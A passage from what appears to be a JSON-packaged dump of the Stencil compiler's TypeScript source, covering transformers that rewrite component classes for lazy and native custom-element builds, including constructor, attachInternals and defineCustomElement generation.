ts.factory.createExpressionStatement(\n    ts.factory.createCallExpression(\n      ts.factory.createPropertyAccessExpression(\n        ts.factory.createPropertyAccessExpression(\n          ts.factory.createPropertyAccessExpression(ts.factory.createThis(), ts.factory.createIdentifier(memberName)),\n          ts.factory.createIdentifier('states'),\n        ),\n        ts.factory.createIdentifier('add'),\n      ),\n      undefined,\n      [ts.factory.createStringLiteral(stateName)],\n    ),\n  );\n}\n\n/**\n * Create TS syntax nodes which represent accessing the `\"s-ei\"` (stencil\n * element internals) property on `$hostElement$` (a {@link d.HostElement}) on a\n * {@link d.HostRef} element which is called {@link HOST_REF_ARG}.\n *\n * The corresponding TypeScript source will look like:\n *\n * ```ts\n * hostRef.$hostElement$[\"s-ei\"]\n * ```\n *\n * @returns TS syntax nodes\n */\nfunction hostRefElementInternalsPropAccess(): ts.ElementAccessExpression {\n  return ts.factory.createElementAccessExpression(\n    ts.factory.createPropertyAccessExpression(\n      ts.factory.createIdentifier(HOST_REF_ARG),\n      ts.factory.createIdentifier('$hostElement$'),\n    ),\n    ts.factory.createStringLiteral('s-ei'),\n  );\n}\n"
  },
  {
    "path": "src/compiler/transformers/component-lazy/constants.ts",
    "content": "/**\n * Used to create an identifier for an argument to the constructor of a\n * transformed, lazy-build specific class.\n */\nexport const HOST_REF_ARG = 'hostRef';\n"
  },
  {
    "path": "src/compiler/transformers/component-lazy/lazy-component.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { addStaticStylePropertyToClass } from '../add-static-style';\nimport { transformHostData } from '../host-data-transform';\nimport { removeStaticMetaProperties } from '../remove-static-meta-properties';\nimport { updateComponentClass } from '../update-component-class';\nimport { addReactivePropHandlers } from '../reactive-handler-meta-transform';\nimport { updateLazyComponentConstructor } from './lazy-constructor';\nimport { addLazyElementGetter } from './lazy-element-getter';\n\n/**\n * Update the class declaration node for a Stencil component in order to make\n * it suitable for 'taking over' a bootstrapped lazy build. This involves making\n * edits to the constructor, handling initialization code for various class\n * members, and so on.\n *\n * @param transformOpts transform options\n * @param styleStatements an out param for style-related statements\n * @param classNode the class declaration node\n * @param moduleFile information on the class' home module\n * @param cmp metadata collected during the compilation process\n * @returns the updated class\n */\nexport const updateLazyComponentClass = (\n  transformOpts: d.TransformOptions,\n  styleStatements: ts.Statement[],\n  classNode: ts.ClassDeclaration,\n  moduleFile: d.Module,\n  cmp: d.ComponentCompilerMeta,\n  buildCtx: d.BuildCtx,\n): ts.VariableStatement | ts.ClassDeclaration => {\n  const members = updateLazyComponentMembers(transformOpts, styleStatements, classNode, moduleFile, cmp, buildCtx);\n  return updateComponentClass(transformOpts, classNode, classNode.heritageClauses, members);\n};\n\n/**\n * Handling updating the component's members for lazy-build duty.\n *\n * @param transformOpts transform options\n * @param styleStatements an out param for style-related statements\n * @param classNode the class declaration node\n * @param moduleFile information on the class' home module\n * @param cmp metadata collected during the compilation process\n * @returns the updated class members\n */\nconst updateLazyComponentMembers = (\n  transformOpts: d.TransformOptions,\n  styleStatements: ts.Statement[],\n  classNode: ts.ClassDeclaration,\n  moduleFile: d.Module,\n  cmp: d.ComponentCompilerMeta,\n  buildCtx: d.BuildCtx,\n): ts.ClassElement[] => {\n  const classMembers = removeStaticMetaProperties(classNode);\n\n  updateLazyComponentConstructor(classMembers, classNode, moduleFile, cmp);\n  addLazyElementGetter(classMembers, moduleFile, cmp);\n  addReactivePropHandlers(classMembers, cmp, 'watchers');\n  addReactivePropHandlers(classMembers, cmp, 'serializers');\n  addReactivePropHandlers(classMembers, cmp, 'deserializers');\n  transformHostData(classMembers, moduleFile);\n\n  if (transformOpts.style === 'static') {\n    addStaticStylePropertyToClass(styleStatements, cmp, buildCtx);\n  }\n\n  return classMembers;\n};\n"
  },
  {
    "path": "src/compiler/transformers/component-lazy/lazy-constructor.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { addCoreRuntimeApi, REGISTER_INSTANCE, RUNTIME_APIS } from '../core-runtime-apis';\nimport { addCreateEvents } from '../create-event';\nimport { updateConstructor } from '../transform-utils';\nimport { createLazyAttachInternalsBinding } from './attach-internals';\nimport { HOST_REF_ARG } from './constants';\n\n/**\n * Update the constructor for a Stencil component's class in order to prepare\n * it for lazy-build duty (i.e. to take over a bootstrapped component)\n *\n * @param classMembers an out param of class members for the component\n * @param classNode the class declaration of interest\n * @param moduleFile information about the component's home module\n * @param cmp compiler metadata about the component\n */\nexport const updateLazyComponentConstructor = (\n  classMembers: ts.ClassElement[],\n  classNode: ts.ClassDeclaration,\n  moduleFile: d.Module,\n  cmp: d.ComponentCompilerMeta,\n) => {\n  const cstrMethodArgs = [\n    ts.factory.createParameterDeclaration(undefined, undefined, ts.factory.createIdentifier(HOST_REF_ARG)),\n  ];\n\n  const cstrStatements = [\n    registerInstanceStatement(moduleFile),\n    ...addCreateEvents(moduleFile, cmp),\n    ...createLazyAttachInternalsBinding(cmp),\n  ];\n\n  updateConstructor(classNode, classMembers, cstrStatements, cstrMethodArgs);\n};\n\n/**\n * Create a statement containing an expression calling the `registerInstance`\n * helper with the {@link d.HostRef} argument passed to the lazy element\n * constructor\n *\n * **NOTE** this mutates the `moduleFile` param to add an import of the\n * `registerInstance` method from the Stencil core component runtime API.\n *\n * @param moduleFile information about a module containing a Stencil component\n * @returns an expression statement for a call to the `registerInstance` helper\n */\nconst registerInstanceStatement = (moduleFile: d.Module) => {\n  addCoreRuntimeApi(moduleFile, RUNTIME_APIS.registerInstance);\n\n  return ts.factory.createExpressionStatement(\n    ts.factory.createCallExpression(ts.factory.createIdentifier(REGISTER_INSTANCE), undefined, [\n      ts.factory.createThis(),\n      ts.factory.createIdentifier(HOST_REF_ARG),\n    ]),\n  );\n};\n"
  },
  {
    "path": "src/compiler/transformers/component-lazy/lazy-element-getter.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { addCoreRuntimeApi, GET_ELEMENT, RUNTIME_APIS } from '../core-runtime-apis';\n\n/**\n * If a Stencil component was declared with an `@Element` ref, transform the\n * class to support this getter.\n *\n * @param classMembers an out param which holds class members for the component\n * @param moduleFile information about the stencil component's home module\n * @param cmp metadata gathered about the Stencil component during compilation\n */\nexport const addLazyElementGetter = (\n  classMembers: ts.ClassElement[],\n  moduleFile: d.Module,\n  cmp: d.ComponentCompilerMeta,\n) => {\n  // @Element() element;\n  // is transformed into:\n  // get element() { return __stencil_getElement(this); }\n  if (cmp.elementRef) {\n    addCoreRuntimeApi(moduleFile, RUNTIME_APIS.getElement);\n\n    // Create the getter that will be used in the transformed class declaration\n    const getter = ts.factory.createGetAccessorDeclaration(\n      undefined,\n      cmp.elementRef,\n      [],\n      undefined,\n      ts.factory.createBlock([\n        ts.factory.createReturnStatement(\n          ts.factory.createCallExpression(ts.factory.createIdentifier(GET_ELEMENT), undefined, [\n            ts.factory.createThis(),\n          ]),\n        ),\n      ]),\n    );\n\n    // Find the index in the class members array that correlates with the element\n    // ref identifier we have\n    const index = classMembers.findIndex(\n      (member) =>\n        member.kind === ts.SyntaxKind.PropertyDeclaration && (member.name as any)?.escapedText === cmp.elementRef,\n    );\n\n    // Index should never not be a valid integer, but we'll be safe just in case.\n    // If the index is valid, we'll overwrite the existing class member with the getter\n    // so we don't create multiple members with the same identifier\n    if (index >= 0) {\n      classMembers[index] = getter;\n    } else {\n      classMembers.push(getter);\n    }\n  }\n};\n"
  },
  {
    "path": "src/compiler/transformers/component-lazy/transform-lazy-component.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { addImports } from '../add-imports';\nimport { addLegacyApis } from '../core-runtime-apis';\nimport { updateStyleImports } from '../style-imports';\nimport { getComponentMeta, getModuleFromSourceFile, updateConstructor, updateMixin } from '../transform-utils';\nimport { updateLazyComponentClass } from './lazy-component';\n\n/**\n * Return a transformer factory which transforms a Stencil component to make it\n * suitable for 'taking over' a bootstrapped component in the lazy build.\n *\n * Note that this is an 'output target' level transformer, i.e. it is\n * designed to be run on a Stencil component which has already undergone\n * initial transformation (which handles things like converting decorators to\n * static and so on).\n *\n * @param compilerCtx a Stencil compiler context object\n * @param transformOpts transform options\n * @returns a {@link ts.TransformerFactory} for carrying out necessary transformations\n */\nexport const lazyComponentTransform = (\n  compilerCtx: d.CompilerCtx,\n  transformOpts: d.TransformOptions,\n  buildCtx: d.BuildCtx,\n): ts.TransformerFactory<ts.SourceFile> => {\n  return (transformCtx) => {\n    return (tsSourceFile) => {\n      const styleStatements: ts.Statement[] = [];\n      const moduleFile = getModuleFromSourceFile(compilerCtx, tsSourceFile);\n\n      const visitNode = (node: ts.Node): any => {\n        if (ts.isClassDeclaration(node)) {\n          const cmp = getComponentMeta(compilerCtx, tsSourceFile, node);\n          const module = compilerCtx.moduleMap.get(tsSourceFile.fileName);\n\n          if (cmp != null) {\n            return updateLazyComponentClass(transformOpts, styleStatements, node, moduleFile, cmp, buildCtx);\n          } else if (module?.isMixin) {\n            return updateMixin(node, moduleFile, cmp, transformOpts);\n          } else if (buildCtx.config._isTesting && buildCtx.config.flags.spec && !buildCtx.config.flags.e2e) {\n            // because (during spec tests) *only* the component class is added as a module\n            // let's tidy up all class nodes in testing mode, but only when running spec tests alone\n            // (not when running both spec and e2e, as e2e builds will handle transformation differently)\n            return updateConstructor(node, Array.from(node.members), [], []);\n          }\n        }\n        return ts.visitEachChild(node, visitNode, transformCtx);\n      };\n\n      tsSourceFile = ts.visitEachChild(tsSourceFile, visitNode, transformCtx);\n\n      if (moduleFile.cmps.length > 0) {\n        tsSourceFile = updateStyleImports(transformOpts, tsSourceFile, moduleFile);\n      }\n\n      if (moduleFile.isLegacy) {\n        addLegacyApis(moduleFile);\n      }\n\n      tsSourceFile = addImports(transformOpts, tsSourceFile, moduleFile.coreRuntimeApis, transformOpts.coreImportPath);\n\n      if (styleStatements.length > 0) {\n        tsSourceFile = ts.factory.updateSourceFile(tsSourceFile, [...tsSourceFile.statements, ...styleStatements]);\n      }\n\n      return tsSourceFile;\n    };\n  };\n};\n"
  },
  {
    "path": "src/compiler/transformers/component-native/add-define-custom-element-function.ts",
    "content": "import { dashToPascalCase } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { addCoreRuntimeApi, RUNTIME_APIS, TRANSFORM_TAG } from '../core-runtime-apis';\nimport { createImportStatement, getModuleFromSourceFile } from '../transform-utils';\n\n/**\n * Import and define components along with any component dependents within the `dist-custom-elements` output.\n * Adds `defineCustomElement()` function for all components.\n * @param compilerCtx - current compiler context\n * @param components - all current components within the stencil buildCtx\n * @param outputTarget - the output target being compiled\n * @returns a TS AST transformer factory function\n */\nexport const addDefineCustomElementFunctions = (\n  compilerCtx: d.CompilerCtx,\n  components: d.ComponentCompilerMeta[],\n  outputTarget: d.OutputTargetDistCustomElements,\n): ts.TransformerFactory<ts.SourceFile> => {\n  return () => {\n    return (tsSourceFile: ts.SourceFile): ts.SourceFile => {\n      const moduleFile = getModuleFromSourceFile(compilerCtx, tsSourceFile);\n      const newStatements: ts.Statement[] = [];\n      const caseStatements: ts.CaseClause[] = [];\n      const tagNames: string[] = [];\n\n      if (moduleFile.cmps.length) {\n        addCoreRuntimeApi(moduleFile, RUNTIME_APIS.transformTag);\n\n        const principalComponent = moduleFile.cmps[0];\n        tagNames.push(principalComponent.tagName);\n\n        // define the current component - `customElements.define(transformTag(tagName), MyProxiedComponent);`\n        const customElementsDefineCallExpression = ts.factory.createCallExpression(\n          ts.factory.createPropertyAccessExpression(ts.factory.createIdentifier('customElements'), 'define'),\n          undefined,\n          [\n            ts.factory.createCallExpression(\n              ts.factory.createIdentifier(TRANSFORM_TAG),\n              [],\n              [ts.factory.createIdentifier('tagName')],\n            ),\n            ts.factory.createIdentifier(principalComponent.componentClassName),\n          ],\n        );\n        // create a `case` block that defines the current component. We'll add them to our switch statement later.\n        caseStatements.push(\n          createCustomElementsDefineCase(principalComponent.tagName, customElementsDefineCallExpression),\n        );\n\n        setupComponentDependencies(moduleFile, components, newStatements, caseStatements, tagNames);\n        addDefineCustomElementFunction(tagNames, newStatements, caseStatements);\n\n        if (outputTarget.customElementsExportBehavior === 'auto-define-custom-elements') {\n          const conditionalDefineCustomElementCall = createAutoDefinitionExpression(\n            principalComponent.componentClassName,\n          );\n          newStatements.push(conditionalDefineCustomElementCall);\n        }\n      }\n\n      tsSourceFile = ts.factory.updateSourceFile(tsSourceFile, [...tsSourceFile.statements, ...newStatements]);\n\n      return tsSourceFile;\n    };\n  };\n};\n\n/**\n * Adds dependent component import statements and sets up and case blocks\n * @param moduleFile current components' module\n * @param components all current components within the stencil buildCtx\n * @param newStatements new top level statement array to add to that will get added to the AST\n * @param caseStatements an array of case statement blocks to add to. Will get added to `defineCustomElement` later\n * @param tagNames array of all related component tag-names to add to\n */\nconst setupComponentDependencies = (\n  moduleFile: d.Module,\n  components: d.ComponentCompilerMeta[],\n  newStatements: ts.Statement[],\n  caseStatements: ts.CaseClause[],\n  tagNames: string[],\n) => {\n  moduleFile.cmps.forEach((cmp) => {\n    cmp.dependencies.forEach((dCmp) => {\n      const foundDep = components.find((dComp) => dComp.tagName === dCmp);\n      const exportName = dashToPascalCase(foundDep.tagName);\n      const importAs = `$${exportName}DefineCustomElement`;\n      tagNames.push(foundDep.tagName);\n\n      // Will add `import { defineCustomElement as $ComponentDefineCustomElement } from 'my-nested-component.tsx';`\n      newStatements.push(createImportStatement([`defineCustomElement as ${importAs}`], foundDep.sourceFilePath));\n\n      // define a dependent component by recursively calling their own `defineCustomElement()`\n      const callExpression = ts.factory.createCallExpression(ts.factory.createIdentifier(importAs), undefined, []);\n      // `case` blocks that define the dependent components. We'll add them to our switch statement later.\n      caseStatements.push(createCustomElementsDefineCase(foundDep.tagName, callExpression));\n    });\n  });\n};\n\n/**\n * Creates a case block which will be used to define components. e.g.\n * ``` javascript\n * case \"my-component\":\n *   if (!customElements.get(transformTag(tagName))) {\n *     customElements.define(transformTag(tagName), MyProxiedComponent);\n *     // OR for dependent components\n *     defineCustomElement(tagName);\n *   }\n *   break;\n * } });\n  ```\n * @param tagName the components' tagName saved within stencil.\n * @param actionExpression the actual expression to call to define the customElement\n * @returns ts AST CaseClause\n */\nconst createCustomElementsDefineCase = (tagName: string, actionExpression: ts.Expression): ts.CaseClause => {\n  return ts.factory.createCaseClause(ts.factory.createStringLiteral(tagName), [\n    ts.factory.createIfStatement(\n      ts.factory.createPrefixUnaryExpression(\n        ts.SyntaxKind.ExclamationToken,\n        ts.factory.createCallExpression(\n          ts.factory.createPropertyAccessExpression(ts.factory.createIdentifier('customElements'), 'get'),\n          undefined,\n          [\n            ts.factory.createCallExpression(\n              ts.factory.createIdentifier(TRANSFORM_TAG),\n              [],\n              [ts.factory.createIdentifier('tagName')],\n            ),\n          ],\n        ),\n      ),\n      ts.factory.createBlock([ts.factory.createExpressionStatement(actionExpression)]),\n    ),\n    ts.factory.createBreakStatement(),\n  ]);\n};\n\n/**\n * Add the main `defineCustomElement` function e.g.\n * ```javascript\n * function defineCustomElement() {\n *  if (typeof customElements === 'undefined') {\n *    return;\n *  }\n *  const components = ['my-component'];\n *   components.forEach(tagName => {\n *     switch (tagName) {\n *       case \"my-component\":\n *         if (!customElements.get(transformTag(tagName))) {\n *           customElements.define(transformTag(tagName), MyProxiedComponent);\n *           // OR for dependent components\n *           defineCustomElement(tagName);\n *         }\n *         break;\n *     }\n *   });\n * }\n ```\n * @param tagNames all components that will be defined\n * @param newStatements new top level statement array that will get added to the AST\n * @param caseStatements an array of case statement blocks. Will get added to `defineCustomElement` later\n */\nconst addDefineCustomElementFunction = (\n  tagNames: string[],\n  newStatements: ts.Statement[],\n  caseStatements: ts.CaseClause[],\n) => {\n  const newExpression = ts.factory.createFunctionDeclaration(\n    [ts.factory.createModifier(ts.SyntaxKind.ExportKeyword)],\n    undefined,\n    ts.factory.createIdentifier('defineCustomElement'),\n    undefined,\n    [],\n    undefined,\n    ts.factory.createBlock(\n      [\n        ts.factory.createIfStatement(\n          ts.factory.createStrictEquality(\n            ts.factory.createTypeOfExpression(ts.factory.createIdentifier('customElements')),\n            ts.factory.createStringLiteral('undefined'),\n          ),\n          ts.factory.createBlock([ts.factory.createReturnStatement()]),\n        ),\n        ts.factory.createVariableStatement(\n          undefined,\n          ts.factory.createVariableDeclarationList(\n            [\n              ts.factory.createVariableDeclaration(\n                'components',\n                undefined,\n                undefined,\n                ts.factory.createArrayLiteralExpression(\n                  tagNames.map((tagName) => ts.factory.createStringLiteral(tagName)),\n                ),\n              ),\n            ],\n            ts.NodeFlags.Const,\n          ),\n        ),\n        ts.factory.createExpressionStatement(\n          ts.factory.createCallExpression(\n            ts.factory.createPropertyAccessExpression(ts.factory.createIdentifier('components'), 'forEach'),\n            undefined,\n            [\n              ts.factory.createArrowFunction(\n                undefined,\n                undefined,\n                [\n                  ts.factory.createParameterDeclaration(\n                    undefined,\n                    undefined,\n                    ts.factory.createIdentifier('tagName'),\n                    undefined,\n                    undefined,\n                  ),\n                ],\n                undefined,\n                ts.factory.createToken(ts.SyntaxKind.EqualsGreaterThanToken),\n                ts.factory.createBlock([\n                  ts.factory.createSwitchStatement(\n                    ts.factory.createIdentifier('tagName'),\n                    ts.factory.createCaseBlock(caseStatements),\n                  ),\n                ]),\n              ),\n            ],\n          ),\n        ),\n      ],\n      true,\n    ),\n  );\n  newStatements.push(newExpression);\n};\n\n/**\n * Create a call to `defineCustomElement` for the principle web component.\n * ```typescript\n * defineCustomElement(MyPrincipalComponent);\n * ```\n * @param componentName the component's class name to use as the first argument to `defineCustomElement`\n * @returns the expression statement described above\n */\nfunction createAutoDefinitionExpression(componentName: string): ts.ExpressionStatement {\n  return ts.factory.createExpressionStatement(\n    ts.factory.createCallExpression(ts.factory.createIdentifier('defineCustomElement'), undefined, [\n      ts.factory.createIdentifier(componentName),\n    ]),\n  );\n}\n"
  },
  {
    "path": "src/compiler/transformers/component-native/attach-internals.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport ts from 'typescript';\n\n/**\n * Create a binding for an `ElementInternals` object compatible with a 'native'\n * component (i.e. one which extends `HTMLElement` and is distributed as a\n * standalone custom element).\n *\n * Since a 'native' custom element will extend `HTMLElement` we can call\n * `this.attachInternals` directly, binding it to the name annotated by the\n * developer with the `@AttachInternals` decorator.\n *\n * Thus if an `@AttachInternals` decorator is present on a component like\n * this:\n *\n * ```ts\n * @AttachInternals({ states: { open: true, active: false } })\n * internals: ElementInternals;\n * ```\n *\n * then this transformer will emit TS syntax nodes representing the\n * following TypeScript source code:\n *\n * ```ts\n * this.internals = this.attachInternals();\n * this.internals.states.add('open');\n * // 'active' is false, so no call needed (not in set by default)\n * ```\n *\n * @param cmp metadata about the component of interest, gathered during\n * compilation\n * @returns an expression statement syntax tree node\n */\nexport function createNativeAttachInternalsBinding(cmp: d.ComponentCompilerMeta): ts.ExpressionStatement[] {\n  if (!cmp.attachInternalsMemberName) {\n    return [];\n  }\n\n  const statements: ts.ExpressionStatement[] = [\n    ts.factory.createExpressionStatement(\n      ts.factory.createBinaryExpression(\n        ts.factory.createPropertyAccessExpression(\n          ts.factory.createThis(),\n          // use the name set on the {@link d.ComponentCompilerMeta}\n          ts.factory.createIdentifier(cmp.attachInternalsMemberName),\n        ),\n        ts.factory.createToken(ts.SyntaxKind.EqualsToken),\n        ts.factory.createCallExpression(\n          ts.factory.createPropertyAccessExpression(\n            ts.factory.createThis(),\n            ts.factory.createIdentifier('attachInternals'),\n          ),\n          undefined,\n          [],\n        ),\n      ),\n    ),\n  ];\n\n  // Add custom states initialization for states with initialValue: true\n  // CustomStateSet only has add/delete/has methods (extends Set), so we only\n  // need to call add() for true values - false values are the default (not in set)\n  if (cmp.attachInternalsCustomStates?.length > 0) {\n    for (const customState of cmp.attachInternalsCustomStates) {\n      if (customState.initialValue) {\n        statements.push(createStatesAddCall(cmp.attachInternalsMemberName, customState.name));\n      }\n    }\n  }\n\n  return statements;\n}\n\n/**\n * Create a `states.add()` call for initializing a custom state.\n *\n * Generates code like:\n * ```ts\n * this.internals.states.add('stateName');\n * ```\n *\n * @param memberName the name of the ElementInternals property\n * @param stateName the name of the custom state to add\n * @returns an expression statement for the add call\n */\nfunction createStatesAddCall(memberName: string, stateName: string): ts.ExpressionStatement {\n  return ts.factory.createExpressionStatement(\n    ts.factory.createCallExpression(\n      ts.factory.createPropertyAccessExpression(\n        ts.factory.createPropertyAccessExpression(\n          ts.factory.createPropertyAccessExpression(ts.factory.createThis(), ts.factory.createIdentifier(memberName)),\n          ts.factory.createIdentifier('states'),\n        ),\n        ts.factory.createIdentifier('add'),\n      ),\n      undefined,\n      [ts.factory.createStringLiteral(stateName)],\n    ),\n  );\n}\n"
  },
  {
    "path": "src/compiler/transformers/component-native/native-component.ts",
    "content": "import { DIST_CUSTOM_ELEMENTS } from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { addOutputTargetCoreRuntimeApi, HTML_ELEMENT, RUNTIME_APIS } from '../core-runtime-apis';\nimport { transformHostData } from '../host-data-transform';\nimport { removeStaticMetaProperties } from '../remove-static-meta-properties';\nimport { foundSuper, updateConstructor } from '../transform-utils';\nimport { updateComponentClass } from '../update-component-class';\nimport { addReactivePropHandlers } from '../reactive-handler-meta-transform';\nimport { addNativeConnectedCallback } from './native-connected-callback';\nimport { updateNativeConstructor } from './native-constructor';\nimport { addNativeElementGetter } from './native-element-getter';\nimport { addNativeComponentMeta } from './native-meta';\nimport { addNativeStaticStyle } from './native-static-style';\n\n/**\n * Update a {@link ts.ClassDeclaration} which corresponds to a Stencil\n * component to ensure that it will work as a standalone custom element in the\n * browser (a 'native' web component).\n *\n * This involves ensuring that the class extends `HTMLElement`, ensuring that\n * it has a constructor, adding a `connectedCallback` method, and a few things\n * that are Stencil-specific implementation details.\n *\n * @param transformOpts options governing how Stencil components should be\n * transformed\n * @param classNode the class to transform\n * @param moduleFile information about the class' home module\n * @param cmp metadata about the stencil component of interest\n * @param compilerCtx the compiler context\n * @param tsSourceFile the TypeScript source file containing the class\n * @returns an updated class\n */\nexport const updateNativeComponentClass = (\n  transformOpts: d.TransformOptions,\n  classNode: ts.ClassDeclaration,\n  moduleFile: d.Module,\n  cmp: d.ComponentCompilerMeta,\n  buildCtx: d.BuildCtx,\n): ts.ClassDeclaration | ts.VariableStatement => {\n  const withHeritageClauses = updateNativeHostComponentHeritageClauses(classNode, moduleFile);\n  const members = updateNativeHostComponentMembers(transformOpts, withHeritageClauses, moduleFile, cmp, buildCtx);\n  return updateComponentClass(transformOpts, withHeritageClauses, withHeritageClauses.heritageClauses, members);\n};\n\n/**\n * Updates classes that are extended by Stencil components:\n * - extend `HTMLElement` if necessary\n * - ensure the constructor has a `super()` call\n * - remove static metadata properties\n *\n * @param node the class node to update\n * @param moduleFile the module file containing the class\n * @param transformOpts transformation options\n * @returns the updated class node\n */\nexport const updateNativeExtendedClass = (\n  node: ts.ClassDeclaration,\n  moduleFile: d.Module,\n  transformOpts: d.TransformOptions,\n) => {\n  let withHeritageClauses = updateNativeHostComponentHeritageClauses(node, moduleFile);\n  const ctor = withHeritageClauses.members.find(ts.isConstructorDeclaration);\n\n  if (!foundSuper(ctor?.body?.statements)) {\n    const params: ts.ParameterDeclaration[] = Array.from(ctor?.parameters ?? []);\n\n    withHeritageClauses = ts.factory.updateClassDeclaration(\n      withHeritageClauses,\n      withHeritageClauses.modifiers,\n      withHeritageClauses.name,\n      withHeritageClauses.typeParameters,\n      withHeritageClauses.heritageClauses,\n      updateConstructor(withHeritageClauses, Array.from(withHeritageClauses.members), [], params, true),\n    );\n  }\n\n  return updateComponentClass(\n    transformOpts,\n    withHeritageClauses,\n    withHeritageClauses.heritageClauses,\n    removeStaticMetaProperties(withHeritageClauses),\n  );\n};\n\n/**\n * Update or generate a heritage clause (e.g. `extends [IDENTIFIER]`) for a\n * Stencil component to extend `HTMLElement`\n *\n * @param classNode the syntax tree of the Stencil component class to update\n * @param moduleFile the Stencil Module associated with the provided class node\n * @returns an updated class declaration with the generated heritage clause\n */\nconst updateNativeHostComponentHeritageClauses = (\n  classNode: ts.ClassDeclaration,\n  moduleFile: d.Module,\n): ts.ClassDeclaration => {\n  if (classNode.heritageClauses != null && classNode.heritageClauses.length > 0) {\n    // the syntax tree has a heritage clause already, don't generate a new one\n    return classNode;\n  }\n\n  // we'll need to import `HTMLElement` in order to extend it\n  addOutputTargetCoreRuntimeApi(moduleFile, DIST_CUSTOM_ELEMENTS, RUNTIME_APIS.HTMLElement);\n\n  const heritageClause = ts.factory.createHeritageClause(ts.SyntaxKind.ExtendsKeyword, [\n    ts.factory.createExpressionWithTypeArguments(ts.factory.createIdentifier(HTML_ELEMENT), []),\n  ]);\n\n  return ts.factory.updateClassDeclaration(\n    classNode,\n    classNode.modifiers,\n    classNode.name,\n    classNode.typeParameters,\n    [heritageClause],\n    classNode.members,\n  );\n};\n\n/**\n * Perform various modifications to the class members of a Stencil component\n * which are necessary for it to be a 'native' web component.\n *\n * This includes adding or updating the constructor, adding a\n * `connectedCallback` method, implementing the `@Element` decorator, and\n * adding static values for watchers.\n *\n * @param transformOpts options governing how Stencil components should be\n * transformed\n * @param classNode the class to transform\n * @param moduleFile information about the class' home module\n * @param cmp metadata about the stencil component of interest\n * @param compilerCtx the compiler context\n * @param tsSourceFile the TypeScript source file containing the class\n * @returns an updated list of class elements\n */\nconst updateNativeHostComponentMembers = (\n  transformOpts: d.TransformOptions,\n  classNode: ts.ClassDeclaration,\n  moduleFile: d.Module,\n  cmp: d.ComponentCompilerMeta,\n  buildCtx: d.BuildCtx,\n): ts.ClassElement[] => {\n  const classMembers = removeStaticMetaProperties(classNode);\n\n  updateNativeConstructor(classMembers, moduleFile, cmp, classNode);\n  addNativeConnectedCallback(classMembers, cmp);\n  addNativeElementGetter(classMembers, cmp);\n  addReactivePropHandlers(classMembers, cmp, 'watchers');\n  addReactivePropHandlers(classMembers, cmp, 'serializers');\n  addReactivePropHandlers(classMembers, cmp, 'deserializers');\n\n  if (cmp.isPlain) {\n    addNativeComponentMeta(classMembers, cmp);\n  }\n\n  if (transformOpts.style === 'static') {\n    addNativeStaticStyle(classMembers, cmp, buildCtx);\n  }\n\n  transformHostData(classMembers, moduleFile);\n\n  return classMembers;\n};\n"
  },
  {
    "path": "src/compiler/transformers/component-native/native-connected-callback.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\n\n/**\n * Add or update a `connectedCallback` method for a Stencil component\n *\n * *Note*: This function will mutate either the `classMembers` parameter or\n * one of its members.\n *\n * @param classMembers the members on the component's class\n * @param cmp metadata about the component\n */\nexport const addNativeConnectedCallback = (classMembers: ts.ClassElement[], cmp: d.ComponentCompilerMeta) => {\n  // function call to stencil's exported connectedCallback(elm, plt)\n\n  // TODO: fast path\n  if (cmp.isPlain && cmp.hasRenderFn) {\n    const fnCall = ts.factory.createExpressionStatement(\n      ts.factory.createAssignment(\n        ts.factory.createPropertyAccessExpression(ts.factory.createThis(), 'textContent'),\n        ts.factory.createCallExpression(\n          ts.factory.createPropertyAccessExpression(ts.factory.createThis(), 'render'),\n          undefined,\n          undefined,\n        ),\n      ),\n    );\n    const connectedCallback = classMembers.find((classMember) => {\n      return ts.isMethodDeclaration(classMember) && (classMember.name as any).escapedText === CONNECTED_CALLBACK;\n    }) as ts.MethodDeclaration;\n\n    if (connectedCallback != null) {\n      // class already has a connectedCallback(), so update it\n      const callbackMethod = ts.factory.createMethodDeclaration(\n        undefined,\n        undefined,\n        CONNECTED_CALLBACK,\n        undefined,\n        undefined,\n        [],\n        undefined,\n        ts.factory.createBlock([fnCall, ...connectedCallback.body.statements], true),\n      );\n      const index = classMembers.indexOf(connectedCallback);\n      classMembers[index] = callbackMethod;\n    } else {\n      // class doesn't have a connectedCallback(), so add it\n      const callbackMethod = ts.factory.createMethodDeclaration(\n        undefined,\n        undefined,\n        CONNECTED_CALLBACK,\n        undefined,\n        undefined,\n        [],\n        undefined,\n        ts.factory.createBlock([fnCall], true),\n      );\n      classMembers.push(callbackMethod);\n    }\n  }\n};\n\nconst CONNECTED_CALLBACK = 'connectedCallback';\n"
  },
  {
    "path": "src/compiler/transformers/component-native/native-constructor.ts",
    "content": "import ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport { addCreateEvents } from '../create-event';\nimport { updateConstructor } from '../transform-utils';\nimport { createNativeAttachInternalsBinding } from './attach-internals';\n\n/**\n * Updates a constructor to include:\n * - a `super()` call\n * - function calls to initialize the component\n * - function calls to create custom event emitters\n * If a constructor does not exist, one will be created\n *\n * The constructor will be added to the provided list of {@link ts.ClassElement}s in place\n *\n * @param classMembers the class elements to modify\n * @param moduleFile the Stencil module representation of the component class\n * @param cmp the component metadata generated for the component\n * @param classNode the TypeScript syntax tree node for the class\n * @param compilerCtx the compiler context, which provides access to the module map\n * @param tsSourceFile the TypeScript source file containing the class\n */\nexport const updateNativeConstructor = (\n  classMembers: ts.ClassElement[],\n  moduleFile: d.Module,\n  cmp: d.ComponentCompilerMeta,\n  classNode: ts.ClassDeclaration,\n): void => {\n  if (cmp.isPlain) {\n    return;\n  }\n\n  const cstrMethodArgs = [\n    ts.factory.createParameterDeclaration(undefined, undefined, ts.factory.createIdentifier('registerHost')),\n  ];\n\n  const nativeCstrStatements: ts.Statement[] = [\n    ...nativeInit(cmp),\n    ...addCreateEvents(moduleFile, cmp),\n    ...createNativeAttachInternalsBinding(cmp),\n  ];\n  updateConstructor(classNode, classMembers, nativeCstrStatements, cstrMethodArgs, cmp.doesExtend);\n};\n\n/**\n * Generates a series of expression statements used to help initialize a Stencil component\n * @param cmp the component's metadata\n * @returns the generated expression statements\n */\nconst 